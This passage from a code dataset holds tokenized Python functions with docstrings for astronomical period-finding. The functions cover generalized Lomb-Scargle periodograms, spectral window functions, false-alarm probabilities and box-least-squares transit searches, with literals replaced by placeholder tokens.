Y*S_tau<EOL>periodogramvalue = (YC_tau*YC_tau/CC_tau + YS_tau*YS_tau/SS_tau)/YY<EOL>return periodogramvalue<EOL>", "docstring": "Generalized LSP value for a single omega.\n\n    This uses tau to provide an arbitrary time-reference point.\n\n    The relations used are::\n\n        P(w) = (1/YY) * (YC*YC/CC + YS*YS/SS)\n\n        where: YC, YS, CC, and SS are all calculated at T\n\n        and where: tan 2omegaT = 2*CS/(CC - SS)\n\n        and where:\n\n        Y = sum( w_i*y_i )\n        C = sum( w_i*cos(wT_i) )\n        S = sum( w_i*sin(wT_i) )\n\n        YY = sum( w_i*y_i*y_i ) - Y*Y\n        YC = sum( w_i*y_i*cos(wT_i) ) - Y*C\n        YS = sum( w_i*y_i*sin(wT_i) ) - Y*S\n\n        CpC = sum( w_i*cos(w_T_i)*cos(w_T_i) )\n        CC = CpC - C*C\n        SS = (1 - CpC) - S*S\n        CS = sum( w_i*cos(w_T_i)*sin(w_T_i) ) - C*S\n\n    Parameters\n    ----------\n\n    times,mags,errs : np.array\n        The time-series to calculate the periodogram value for.\n\n    omega : float\n        The frequency to calculate the periodogram value at.\n\n    Returns\n    -------\n\n    periodogramvalue : float\n        The normalized periodogram at the specified test frequency `omega`.", "id": "f14758:m1"}
{"signature": "def generalized_lsp_value_notau(times, mags, errs, omega):", "body": "one_over_errs2 = <NUM_LIT:1.0>/(errs*errs)<EOL>W = npsum(one_over_errs2)<EOL>wi = one_over_errs2/W<EOL>sin_omegat = npsin(omega*times)<EOL>cos_omegat = npcos(omega*times)<EOL>sin2_omegat = sin_omegat*sin_omegat<EOL>cos2_omegat = cos_omegat*cos_omegat<EOL>sincos_omegat = sin_omegat*cos_omegat<EOL>Y = npsum( wi*mags )<EOL>C = npsum( wi*cos_omegat )<EOL>S = npsum( wi*sin_omegat )<EOL>YpY = npsum( wi*mags*mags)<EOL>YpC = npsum( wi*mags*cos_omegat )<EOL>YpS = npsum( wi*mags*sin_omegat )<EOL>CpC = npsum( wi*cos2_omegat )<EOL>CpS = npsum( wi*sincos_omegat )<EOL>YY = YpY - Y*Y<EOL>YC = YpC - Y*C<EOL>YS = YpS - Y*S<EOL>CC = CpC - C*C<EOL>SS = <NUM_LIT:1> - CpC - S*S  <EOL>CS = CpS - C*S<EOL>Domega = CC*SS - CS*CS<EOL>lspval = (SS*YC*YC + CC*YS*YS - <NUM_LIT>*CS*YC*YS)/(YY*Domega)<EOL>return lspval<EOL>", "docstring": "This is the simplified version not using tau.\n\nThe relations used are::\n\n    W = sum (1.0/(errs*errs) )\n    w_i = (1/W)*(1/(errs*errs))\n\n    Y = sum( w_i*y_i )\n    C = sum( w_i*cos(wt_i) )\n    S = sum( w_i*sin(wt_i) )\n\n    YY = sum( w_i*y_i*y_i ) - Y*Y\n    YC = sum( w_i*y_i*cos(wt_i) ) - Y*C\n    YS = sum( w_i*y_i*sin(wt_i) ) - Y*S\n\n    CpC = sum( w_i*cos(w_t_i)*cos(w_t_i) )\n    CC = CpC - C*C\n    SS = (1 - CpC) - S*S\n    CS = sum( w_i*cos(w_t_i)*sin(w_t_i) ) - C*S\n\n    D(omega) = CC*SS - CS*CS\n    P(omega) = (SS*YC*YC + CC*YS*YS - 2.0*CS*YC*YS)/(YY*D)\n\nParameters\n----------\n\ntimes,mags,errs : np.array\n    The time-series to calculate the periodogram value for.\n\nomega : float\n    The frequency to calculate the periodogram value at.\n\nReturns\n-------\n\nperiodogramvalue : float\n    The normalized periodogram at the specified test frequency `omega`.", "id": "f14758:m2"}
{"signature": "def specwindow_lsp_value(times, mags, errs, omega):", "body": "norm_times = times - times.min()<EOL>tau = (<EOL>(<NUM_LIT:1.0>/(<NUM_LIT>*omega)) *<EOL>nparctan( npsum(npsin(<NUM_LIT>*omega*norm_times)) /<EOL>npsum(npcos(<NUM_LIT>*omega*norm_times)) )<EOL>)<EOL>lspval_top_cos = (npsum(<NUM_LIT:1.0> * npcos(omega*(norm_times-tau))) *<EOL>npsum(<NUM_LIT:1.0> * npcos(omega*(norm_times-tau))))<EOL>lspval_bot_cos = npsum( (npcos(omega*(norm_times-tau))) *<EOL>(npcos(omega*(norm_times-tau))) )<EOL>lspval_top_sin = (npsum(<NUM_LIT:1.0> * npsin(omega*(norm_times-tau))) *<EOL>npsum(<NUM_LIT:1.0> * npsin(omega*(norm_times-tau))))<EOL>lspval_bot_sin = npsum( (npsin(omega*(norm_times-tau))) *<EOL>(npsin(omega*(norm_times-tau))) )<EOL>lspval = <NUM_LIT:0.5> * ( (lspval_top_cos/lspval_bot_cos) +<EOL>(lspval_top_sin/lspval_bot_sin) )<EOL>return lspval<EOL>", "docstring": "This calculates the peak associated with the spectral window function\n    for times and at the specified omega.\n\n    NOTE: this is classical Lomb-Scargle, not the Generalized\n    Lomb-Scargle. `mags` and `errs` are silently ignored since we're calculating\n    the periodogram of the observing window function. These are kept to present\n    a consistent external API so the `pgen_lsp` function below can call this\n    transparently.\n\n    Parameters\n    ----------\n\n    times,mags,errs : np.array\n        The time-series to calculate the periodogram value for.\n\n    omega : float\n        The frequency to calculate the periodogram value at.\n\n    Returns\n    -------\n\n    periodogramvalue : float\n        The normalized periodogram at the specified test frequency `omega`.", "id": "f14758:m3"}
{"signature": "def _glsp_worker(task):", "body": "try:<EOL><INDENT>return generalized_lsp_value(*task)<EOL><DEDENT>except Exception as e:<EOL><INDENT>return npnan<EOL><DEDENT>", "docstring": "This is a worker to wrap the generalized Lomb-Scargle single-frequency\n    function.", "id": "f14758:m4"}
{"signature": "def _glsp_worker_withtau(task):", "body": "try:<EOL><INDENT>return generalized_lsp_value_withtau(*task)<EOL><DEDENT>except Exception as e:<EOL><INDENT>return npnan<EOL><DEDENT>", "docstring": "This is a worker to wrap the generalized Lomb-Scargle single-frequency\n    function.", "id": "f14758:m5"}
{"signature": "def _glsp_worker_specwindow(task):", "body": "try:<EOL><INDENT>return specwindow_lsp_value(*task)<EOL><DEDENT>except Exception as e:<EOL><INDENT>return npnan<EOL><DEDENT>", "docstring": "This is a worker to wrap the generalized Lomb-Scargle single-frequency\n    function.", "id": "f14758:m6"}
{"signature": "def _glsp_worker_notau(task):", "body": "try:<EOL><INDENT>return generalized_lsp_value_notau(*task)<EOL><DEDENT>except Exception as e:<EOL><INDENT>return npnan<EOL><DEDENT>", "docstring": "This is a worker to wrap the generalized Lomb-Scargle single-freq func.\n\n    This version doesn't use tau.", "id": "f14758:m7"}
{"signature": "def pgen_lsp(<EOL>times,<EOL>mags,<EOL>errs,<EOL>magsarefluxes=False,<EOL>startp=None,<EOL>endp=None,<EOL>stepsize=<NUM_LIT>,<EOL>autofreq=True,<EOL>nbestpeaks=<NUM_LIT:5>,<EOL>periodepsilon=<NUM_LIT:0.1>,<EOL>sigclip=<NUM_LIT>,<EOL>nworkers=None,<EOL>workchunksize=None,<EOL>glspfunc=_glsp_worker_withtau,<EOL>verbose=True<EOL>):", "body": "<EOL>stimes, smags, serrs = sigclip_magseries(times,<EOL>mags,<EOL>errs,<EOL>magsarefluxes=magsarefluxes,<EOL>sigclip=sigclip)<EOL>nzind = npnonzero(serrs)<EOL>stimes, smags, serrs = stimes[nzind], smags[nzind], serrs[nzind]<EOL>if len(stimes) > <NUM_LIT:9> and len(smags) > <NUM_LIT:9> and len(serrs) > <NUM_LIT:9>:<EOL><INDENT>if startp:<EOL><INDENT>endf = <NUM_LIT:1.0>/startp<EOL><DEDENT>else:<EOL><INDENT>endf = <NUM_LIT:1.0>/<NUM_LIT:0.1><EOL><DEDENT>if endp:<EOL><INDENT>startf = <NUM_LIT:1.0>/endp<EOL><DEDENT>else:<EOL><INDENT>startf = <NUM_LIT:1.0>/(stimes.max() - stimes.min())<EOL><DEDENT>if not autofreq:<EOL><INDENT>omegas = <NUM_LIT:2>*pi_value*nparange(startf, endf, stepsize)<EOL>if verbose:<EOL><INDENT>LOGINFO(<EOL>'<STR_LIT>' %<EOL>(omegas.size, <NUM_LIT:1.0>/endf, <NUM_LIT:1.0>/startf)<EOL>)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>freqs = get_frequency_grid(stimes,<EOL>minfreq=startf,<EOL>maxfreq=endf)<EOL>omegas = <NUM_LIT:2>*pi_value*freqs<EOL>if verbose:<EOL><INDENT>LOGINFO(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(omegas.size, <NUM_LIT:1.0>/freqs.max(), <NUM_LIT:1.0>/freqs.min())<EOL>)<EOL><DEDENT><DEDENT>if (not nworkers) or (nworkers > NCPUS):<EOL><INDENT>nworkers = NCPUS<EOL>if verbose:<EOL><INDENT>LOGINFO('<STR_LIT>' % nworkers)<EOL><DEDENT><DEDENT>pool = Pool(nworkers)<EOL>tasks = [(stimes, smags, serrs, x) for x in omegas]<EOL>if workchunksize:<EOL><INDENT>lsp = pool.map(glspfunc, tasks, chunksize=workchunksize)<EOL><DEDENT>else:<EOL><INDENT>lsp = pool.map(glspfunc, tasks)<EOL><DEDENT>pool.close()<EOL>pool.join()<EOL>del pool<EOL>lsp = nparray(lsp)<EOL>periods = <NUM_LIT>*pi_value/omegas<EOL>finitepeakind = npisfinite(lsp)<EOL>finlsp = lsp[finitepeakind]<EOL>finperiods = periods[finitepeakind]<EOL>try:<EOL><INDENT>bestperiodind = npargmax(finlsp)<EOL><DEDENT>except ValueError:<EOL><INDENT>LOGERROR('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>return {'<STR_LIT>':npnan,<EOL>'<STR_LIT>':npnan,<EOL>'<STR_LIT>':nbestpeaks,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':omegas,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':'<STR_LIT>',<EOL>'<STR_LIT>':{'<STR_LIT>':startp,<EOL>'<STR_LIT>':endp,<EOL>'<STR_LIT>':stepsize,<EOL>'<STR_LIT>':autofreq,<EOL>'<STR_LIT>':periodepsilon,<EOL>'<STR_LIT>':nbestpeaks,<EOL>'<STR_LIT>':sigclip}}<EOL><DEDENT>sortedlspind = npargsort(finlsp)[::-<NUM_LIT:1>]<EOL>sortedlspperiods = finperiods[sortedlspind]<EOL>sortedlspvals = finlsp[sortedlspind]<EOL>nbestperiods, nbestlspvals, peakcount = (<EOL>[finperiods[bestperiodind]],<EOL>[finlsp[bestperiodind]],<EOL><NUM_LIT:1><EOL>)<EOL>prevperiod = sortedlspperiods[<NUM_LIT:0>]<EOL>for period, lspval in zip(sortedlspperiods, sortedlspvals):<EOL><INDENT>if peakcount == nbestpeaks:<EOL><INDENT>break<EOL><DEDENT>perioddiff = abs(period - prevperiod)<EOL>bestperiodsdiff = [abs(period - x) for x in nbestperiods]<EOL>if (perioddiff > (periodepsilon*prevperiod) and<EOL>all(x > (periodepsilon*period) for x in bestperiodsdiff)):<EOL><INDENT>nbestperiods.append(period)<EOL>nbestlspvals.append(lspval)<EOL>peakcount = peakcount + <NUM_LIT:1><EOL><DEDENT>prevperiod = period<EOL><DEDENT>return {'<STR_LIT>':finperiods[bestperiodind],<EOL>'<STR_LIT>':finlsp[bestperiodind],<EOL>'<STR_LIT>':nbestpeaks,<EOL>'<STR_LIT>':nbestlspvals,<EOL>'<STR_LIT>':nbestperiods,<EOL>'<STR_LIT>':lsp,<EOL>'<STR_LIT>':omegas,<EOL>'<STR_LIT>':periods,<EOL>'<STR_LIT>':'<STR_LIT>',<EOL>'<STR_LIT>':{'<STR_LIT>':startp,<EOL>'<STR_LIT>':endp,<EOL>'<STR_LIT>':stepsize,<EOL>'<STR_LIT>':autofreq,<EOL>'<STR_LIT>':periodepsilon,<EOL>'<STR_LIT>':nbestpeaks,<EOL>'<STR_LIT>':sigclip}}<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>')<EOL>return {'<STR_LIT>':npnan,<EOL>'<STR_LIT>':npnan,<EOL>'<STR_LIT>':nbestpeaks,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':'<STR_LIT>',<EOL>'<STR_LIT>':{'<STR_LIT>':startp,<EOL>'<STR_LIT>':endp,<EOL>'<STR_LIT>':stepsize,<EOL>'<STR_LIT>':autofreq,<EOL>'<STR_LIT>':periodepsilon,<EOL>'<STR_LIT>':nbestpeaks,<EOL>'<STR_LIT>':sigclip}}<EOL><DEDENT>", "docstring": "This calculates the generalized Lomb-Scargle periodogram.\n\n    Uses the algorithm from Zechmeister and Kurster (2009).\n\n    Parameters\n    ----------\n\n    times,mags,errs : np.array\n        The mag/flux time-series with associated measurement errors to run the\n        period-finding on.\n\n    magsarefluxes : bool\n        If the input measurement values in `mags` and `errs` are in fluxes, set\n        this to True.\n\n    startp,endp : float or None\n        The minimum and maximum periods to consider for the transit search.\n\n    stepsize : float\n        The step-size in frequency to use when constructing a frequency grid for\n        the period search.\n\n    autofreq : bool\n        If this is True, the value of `stepsize` will be ignored and the\n        :py:func:`astrobase.periodbase.get_frequency_grid` function will be used\n        to generate a frequency grid based on `startp`, and `endp`. If these are\n        None as well, `startp` will be set to 0.1 and `endp` will be set to\n        `times.max() - times.min()`.\n\n    nbestpeaks : int\n        The number of 'best' peaks to return from the periodogram results,\n        starting from the global maximum of the periodogram peak values.\n\n    periodepsilon : float\n        The fractional difference between successive values of 'best' periods\n        when sorting by periodogram power to consider them as separate periods\n        (as opposed to part of the same periodogram peak). This is used to avoid\n        broad peaks in the periodogram and make sure the 'best' periods returned\n        are all actually independent.\n\n    sigclip : float or int or sequence of two floats/ints or None\n        If a single float or int, a symmetric sigma-clip will be performed using\n        the number provided as the sigma-multiplier to cut out from the input\n        time-series.\n\n        If a list of two ints/floats is provided, the function will perform an\n        'asymmetric' sigma-clip. The first element in this list is the sigma\n        value to use for fainter flux/mag values; the second element in this\n        list is the sigma value to use for brighter flux/mag values. For\n        example, `sigclip=[10., 3.]`, will sigclip out greater than 10-sigma\n        dimmings and greater than 3-sigma brightenings. Here the meaning of\n        \"dimming\" and \"brightening\" is set by *physics* (not the magnitude\n        system), which is why the `magsarefluxes` kwarg must be correctly set.\n\n        If `sigclip` is None, no sigma-clipping will be performed, and the\n        time-series (with non-finite elems removed) will be passed through to\n        the output.\n\n    nworkers : int\n        The number of parallel workers to use when calculating the periodogram.\n\n    workchunksize : None or int\n        If this is an int, will use chunks of the given size to break up the\n        work for the parallel workers. If None, the chunk size is set to 1.\n\n    glspfunc : Python function\n        The worker function to use to calculate the periodogram. This can be\n        used to make this function calculate the time-series sampling window\n        function instead of the time-series measurements' GLS periodogram by\n        passing in `_glsp_worker_specwindow` instead of the default\n        `_glsp_worker_withtau` function.\n\n    verbose : bool\n        If this is True, will indicate progress and details about the frequency\n        grid used for the period search.\n\n    Returns\n    -------\n\n    dict\n        This function returns a dict, referred to as an `lspinfo` dict in other\n        astrobase functions that operate on periodogram results. This is a\n        standardized format across all astrobase period-finders, and is of the\n        form below::\n\n            {'bestperiod': the best period value in the periodogram,\n             'bestlspval': the periodogram peak associated with the best period,\n             'nbestpeaks': the input value of nbestpeaks,\n             'nbestlspvals': nbestpeaks-size list of best period peak values,\n             'nbestperiods': nbestpeaks-size list of best periods,\n             'lspvals': the full array of periodogram powers,\n             'periods': the full array of periods considered,\n             'method':'gls' -> the name of the period-finder method,\n             'kwargs':{ dict of all of the input kwargs for record-keeping}}", "id": "f14758:m8"}
{"signature": "def specwindow_lsp(<EOL>times,<EOL>mags,<EOL>errs,<EOL>magsarefluxes=False,<EOL>startp=None,<EOL>endp=None,<EOL>stepsize=<NUM_LIT>,<EOL>autofreq=True,<EOL>nbestpeaks=<NUM_LIT:5>,<EOL>periodepsilon=<NUM_LIT:0.1>,<EOL>sigclip=<NUM_LIT>,<EOL>nworkers=None,<EOL>glspfunc=_glsp_worker_specwindow,<EOL>verbose=True<EOL>):", "body": "<EOL>lspres = pgen_lsp(<EOL>times,<EOL>mags,<EOL>errs,<EOL>magsarefluxes=magsarefluxes,<EOL>startp=startp,<EOL>endp=endp,<EOL>autofreq=autofreq,<EOL>nbestpeaks=nbestpeaks,<EOL>periodepsilon=periodepsilon,<EOL>stepsize=stepsize,<EOL>nworkers=nworkers,<EOL>sigclip=sigclip,<EOL>glspfunc=glspfunc,<EOL>verbose=verbose<EOL>)<EOL>lspres['<STR_LIT>'] = '<STR_LIT>'<EOL>if lspres['<STR_LIT>'] is not None:<EOL><INDENT>lspmax = npnanmax(lspres['<STR_LIT>'])<EOL>if npisfinite(lspmax):<EOL><INDENT>lspres['<STR_LIT>'] = lspres['<STR_LIT>']/lspmax<EOL>lspres['<STR_LIT>'] = [<EOL>x/lspmax for x in lspres['<STR_LIT>']<EOL>]<EOL>lspres['<STR_LIT>'] = lspres['<STR_LIT>']/lspmax<EOL><DEDENT><DEDENT>return lspres<EOL>", "docstring": "This calculates the spectral window function.\n\n    Wraps the `pgen_lsp` function above to use the specific worker for\n    calculating the window-function.\n\n    Parameters\n    ----------\n\n    times,mags,errs : np.array\n        The mag/flux time-series with associated measurement errors to run the\n        period-finding on.\n\n    magsarefluxes : bool\n        If the input measurement values in `mags` and `errs` are in fluxes, set\n        this to True.\n\n    startp,endp : float or None\n        The minimum and maximum periods to consider for the transit search.\n\n    stepsize : float\n        The step-size in frequency to use when constructing a frequency grid for\n        the period search.\n\n    autofreq : bool\n        If this is True, the value of `stepsize` will be ignored and the\n        :py:func:`astrobase.periodbase.get_frequency_grid` function will be used\n        to generate a frequency grid based on `startp`, and `endp`. If these are\n        None as well, `startp` will be set to 0.1 and `endp` will be set to\n        `times.max() - times.min()`.\n\n    nbestpeaks : int\n        The number of 'best' peaks to return from the periodogram results,\n        starting from the global maximum of the periodogram peak values.\n\n    periodepsilon : float\n        The fractional difference between successive values of 'best' periods\n        when sorting by periodogram power to consider them as separate periods\n        (as opposed to part of the same periodogram peak). This is used to avoid\n        broad peaks in the periodogram and make sure the 'best' periods returned\n        are all actually independent.\n\n    sigclip : float or int or sequence of two floats/ints or None\n        If a single float or int, a symmetric sigma-clip will be performed using\n        the number provided as the sigma-multiplier to cut out from the input\n        time-series.\n\n        If a list of two ints/floats is provided, the function will perform an\n        'asymmetric' sigma-clip. The first element in this list is the sigma\n        value to use for fainter flux/mag values; the second element in this\n        list is the sigma value to use for brighter flux/mag values. For\n        example, `sigclip=[10., 3.]`, will sigclip out greater than 10-sigma\n        dimmings and greater than 3-sigma brightenings. Here the meaning of\n        \"dimming\" and \"brightening\" is set by *physics* (not the magnitude\n        system), which is why the `magsarefluxes` kwarg must be correctly set.\n\n        If `sigclip` is None, no sigma-clipping will be performed, and the\n        time-series (with non-finite elems removed) will be passed through to\n        the output.\n\n    nworkers : int\n        The number of parallel workers to use when calculating the periodogram.\n\n    glspfunc : Python function\n        The worker function to use to calculate the periodogram. This is used to\n        used to make the `pgen_lsp` function calculate the time-series sampling\n        window function instead of the time-series measurements' GLS periodogram\n        by passing in `_glsp_worker_specwindow` instead of the default\n        `_glsp_worker` function.\n\n    verbose : bool\n        If this is True, will indicate progress and details about the frequency\n        grid used for the period search.\n\n    Returns\n    -------\n\n    dict\n        This function returns a dict, referred to as an `lspinfo` dict in other\n        astrobase functions that operate on periodogram results. This is a\n        standardized format across all astrobase period-finders, and is of the\n        form below::\n\n            {'bestperiod': the best period value in the periodogram,\n             'bestlspval': the periodogram peak associated with the best period,\n             'nbestpeaks': the input value of nbestpeaks,\n             'nbestlspvals': nbestpeaks-size list of best period peak values,\n             'nbestperiods': nbestpeaks-size list of best periods,\n             'lspvals': the full array of periodogram powers,\n             'periods': the full array of periods considered,\n             'method':'win' -> the name of the period-finder method,\n             'kwargs':{ dict of all of the input kwargs for record-keeping}}", "id": "f14758:m9"}
{"signature": "def probability_peak_exceeds_value(times, peakval):", "body": "return (<NUM_LIT:1.0> - peakval)**((times.size - <NUM_LIT>)/<NUM_LIT>)<EOL>", "docstring": "This calculates the probability that periodogram values exceed the given\n    peak value.\n\n    This is from page 3 of Zechmeister and Kurster (2009)::\n\n        Prob(p > p_best) = (1 \u2212 p_best)**((N\u22123)/2)\n\n    where::\n\n        p_best is the peak value in consideration\n        N is the number of times\n\n    Note that this is for the default normalization of the periodogram,\n    e.g. P_normalized = P(omega), such that P represents the sample variance\n    (see Table 1).\n\n    Parameters\n    ----------\n\n    lspvals : np.array\n        The periodogram power value array.\n\n    peakval : float\n        A single peak value to calculate the probability for.\n\n    Returns\n    -------\n\n    prob: float\n        The probability value.", "id": "f14758:m10"}
{"signature": "def analytic_false_alarm_probability(lspinfo,<EOL>times,<EOL>conservative_nfreq_eff=True,<EOL>peakvals=None,<EOL>inplace=True):", "body": "frequencies = <NUM_LIT:1.0>/lspinfo['<STR_LIT>']<EOL>M = independent_freq_count(frequencies,<EOL>times,<EOL>conservative=conservative_nfreq_eff)<EOL>if peakvals is None:<EOL><INDENT>peakvals = lspinfo['<STR_LIT>']<EOL><DEDENT>prob_exceed_vals = [<EOL>probability_peak_exceeds_value(times, p) for p in peakvals<EOL>]<EOL>false_alarm_probs = [<EOL><NUM_LIT:1.0> - (<NUM_LIT:1.0> - prob_exc)**M for prob_exc in prob_exceed_vals<EOL>]<EOL>if inplace:<EOL><INDENT>lspinfo['<STR_LIT>'] = false_alarm_probs<EOL><DEDENT>return false_alarm_probs<EOL>", "docstring": "This returns the analytic false alarm probabilities for periodogram\n    peak values.\n\n    The calculation follows that on page 3 of Zechmeister & Kurster (2009)::\n\n        FAP = 1 \u2212 [1 \u2212 Prob(z > z0)]**M\n\n    where::\n\n        M is the number of independent frequencies\n        Prob(z > z0) is the probability of peak with value > z0\n        z0 is the peak value we're evaluating\n\n    Parameters\n    ----------\n\n    lspinfo : dict\n        The dict returned by the :py:func:`~astrobase.periodbase.zgls.pgen_lsp`\n        function.\n\n    times : np.array\n        The times for which the periodogram result in ``lspinfo`` was\n        calculated.\n\n    conservative_nfreq_eff : bool\n        If True, will follow the prescription given in Schwarzenberg-Czerny\n        (2003):\n\n        http://adsabs.harvard.edu/abs/2003ASPC..292..383S\n\n        and estimate the effective number of independent frequences M_eff as::\n\n            min(N_obs, N_freq, DELTA_f/delta_f)\n\n    peakvals : sequence or None\n        The peak values for which to evaluate the false-alarm probability. If\n        None, will calculate this for each of the peak values in the\n        ``nbestpeaks`` key of the ``lspinfo`` dict.\n\n    inplace : bool\n        If True, puts the results of the FAP calculation into the ``lspinfo``\n        dict as a list available as ``lspinfo['falsealarmprob']``.\n\n    Returns\n    -------\n\n    list\n        The calculated false alarm probabilities for each of the peak values in\n        ``peakvals``.", "id": "f14758:m11"}
{"signature": "def _bls_runner(times,<EOL>mags,<EOL>nfreq,<EOL>freqmin,<EOL>stepsize,<EOL>nbins,<EOL>minduration,<EOL>maxduration):", "body": "workarr_u = npones(times.size)<EOL>workarr_v = npones(times.size)<EOL>blsresult = eebls(times, mags,<EOL>workarr_u, workarr_v,<EOL>nfreq, freqmin, stepsize,<EOL>nbins, minduration, maxduration)<EOL>return {'<STR_LIT>':blsresult[<NUM_LIT:0>],<EOL>'<STR_LIT>':blsresult[<NUM_LIT:1>],<EOL>'<STR_LIT>':blsresult[<NUM_LIT:2>],<EOL>'<STR_LIT>':blsresult[<NUM_LIT:3>],<EOL>'<STR_LIT>':blsresult[<NUM_LIT:4>],<EOL>'<STR_LIT>':blsresult[<NUM_LIT:5>],<EOL>'<STR_LIT>':blsresult[<NUM_LIT:6>]}<EOL>", "docstring": "This runs the pyeebls.eebls function using the given inputs.\n\n    Parameters\n    ----------\n\n    times,mags : np.array\n        The input magnitude time-series to search for transits.\n\n    nfreq : int\n        The number of frequencies to use when searching for transits.\n\n    freqmin : float\n        The minimum frequency of the period-search -> max period that will be\n        used for the search.\n\n    stepsize : float\n        The step-size in frequency to use to generate a frequency-grid.\n\n    nbins : int\n        The number of phase bins to use.\n\n    minduration : float\n        The minimum fractional transit duration that will be considered.\n\n    maxduration : float\n        The maximum fractional transit duration that will be considered.\n\n    Returns\n    -------\n\n    dict\n        Returns a dict of the form::\n\n            {\n                'power':           the periodogram power array,\n                'bestperiod':      the best period found,\n                'bestpower':       the highest peak of the periodogram power,\n                'transdepth':      transit depth found by eebls.f,\n                'transduration':   transit duration found by eebls.f,\n                'transingressbin': transit ingress bin found by eebls.f,\n                'transegressbin':  transit egress bin found by eebls.f,\n            }", "id": "f14759:m0"}
{"signature": "def _parallel_bls_worker(task):", "body": "try:<EOL><INDENT>return _bls_runner(*task)<EOL><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION('<STR_LIT>' % repr(task[<NUM_LIT:2>:]))<EOL>return {<EOL>'<STR_LIT>':nparray([npnan for x in range(task[<NUM_LIT:2>])]),<EOL>'<STR_LIT>':npnan,<EOL>'<STR_LIT>':npnan,<EOL>'<STR_LIT>':npnan,<EOL>'<STR_LIT>':npnan,<EOL>'<STR_LIT>':npnan,<EOL>'<STR_LIT>':npnan<EOL>}<EOL><DEDENT>", "docstring": "This wraps the BLS function for the parallel driver below.\n\nParameters\n----------\n\ntasks : tuple\n    This is of the form::\n\n        task[0] = times\n        task[1] = mags\n        task[2] = nfreq\n        task[3] = freqmin\n        task[4] = stepsize\n        task[5] = nbins\n        task[6] = minduration\n        task[7] = maxduration\n\nReturns\n-------\n\ndict\n    Returns a dict of the form::\n\n        {\n            'power':           the periodogram power array,\n            'bestperiod':      the best period found,\n            'bestpower':       the highest peak of the periodogram power,\n            'transdepth':      transit depth found by eebls.f,\n            'transduration':   transit duration found by eebls.f,\n            'transingressbin': transit ingress bin found by eebls.f,\n            'transegressbin':  transit egress bin found by eebls.f,\n        }", "id": "f14759:m1"}
{"signature": "def bls_serial_pfind(<EOL>times, mags, errs,<EOL>magsarefluxes=False,<EOL>startp=<NUM_LIT:0.1>,  <EOL>endp=<NUM_LIT>,  <EOL>stepsize=<NUM_LIT>,<EOL>mintransitduration=<NUM_LIT>,  <EOL>maxtransitduration=<NUM_LIT>,   <EOL>nphasebins=<NUM_LIT:200>,<EOL>autofreq=True,  <EOL>periodepsilon=<NUM_LIT:0.1>,<EOL>nbestpeaks=<NUM_LIT:5>,<EOL>sigclip=<NUM_LIT>,<EOL>verbose=True,<EOL>get_stats=True,<EOL>):", "body": "<EOL>stimes, smags, serrs = sigclip_magseries(times,<EOL>mags,<EOL>errs,<EOL>magsarefluxes=magsarefluxes,<EOL>sigclip=sigclip)<EOL>if len(stimes) > <NUM_LIT:9> and len(smags) > <NUM_LIT:9> and len(serrs) > <NUM_LIT:9>:<EOL><INDENT>if autofreq:<EOL><INDENT>nphasebins = int(npceil(<NUM_LIT>/mintransitduration))<EOL>if nphasebins > <NUM_LIT>:<EOL><INDENT>nphasebins = <NUM_LIT><EOL><DEDENT>stepsize = <NUM_LIT>*mintransitduration/(stimes.max()-stimes.min())<EOL>minfreq = <NUM_LIT:1.0>/endp<EOL>maxfreq = <NUM_LIT:1.0>/startp<EOL>nfreq = int(npceil((maxfreq - minfreq)/stepsize))<EOL>if verbose:<EOL><INDENT>LOGINFO('<STR_LIT>'<EOL>'<STR_LIT>' % (startp, endp, nfreq,<EOL>minfreq, maxfreq))<EOL>LOGINFO('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(stepsize, nphasebins,<EOL>mintransitduration, maxtransitduration))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>minfreq = <NUM_LIT:1.0>/endp<EOL>maxfreq = <NUM_LIT:1.0>/startp<EOL>nfreq = int(npceil((maxfreq - minfreq)/stepsize))<EOL>if verbose:<EOL><INDENT>LOGINFO('<STR_LIT>'<EOL>'<STR_LIT>' % (startp, endp, nfreq,<EOL>minfreq, maxfreq))<EOL>LOGINFO('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(stepsize, nphasebins,<EOL>mintransitduration, maxtransitduration))<EOL><DEDENT><DEDENT>if nfreq > <NUM_LIT>:<EOL><INDENT>if verbose:<EOL><INDENT>LOGWARNING('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT><DEDENT>if minfreq < (<NUM_LIT:1.0>/(stimes.max() - stimes.min())):<EOL><INDENT>if verbose:<EOL><INDENT>LOGWARNING('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>% (endp, stimes.max() - stimes.min()))<EOL><DEDENT>minfreq = <NUM_LIT>/(stimes.max() - stimes.min())<EOL>if verbose:<EOL><INDENT>LOGINFO('<STR_LIT>' %<EOL>(minfreq, maxfreq))<EOL><DEDENT><DEDENT>try:<EOL><INDENT>blsresult = _bls_runner(stimes,<EOL>smags,<EOL>nfreq,<EOL>minfreq,<EOL>stepsize,<EOL>nphasebins,<EOL>mintransitduration,<EOL>maxtransitduration)<EOL>frequencies = minfreq + nparange(nfreq)*stepsize<EOL>periods = <NUM_LIT:1.0>/frequencies<EOL>lsp = blsresult['<STR_LIT>']<EOL>finitepeakind = npisfinite(lsp)<EOL>finlsp = lsp[finitepeakind]<EOL>finperiods = periods[finitepeakind]<EOL>try:<EOL><INDENT>bestperiodind = npargmax(finlsp)<EOL><DEDENT>except ValueError:<EOL><INDENT>LOGERROR('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>return 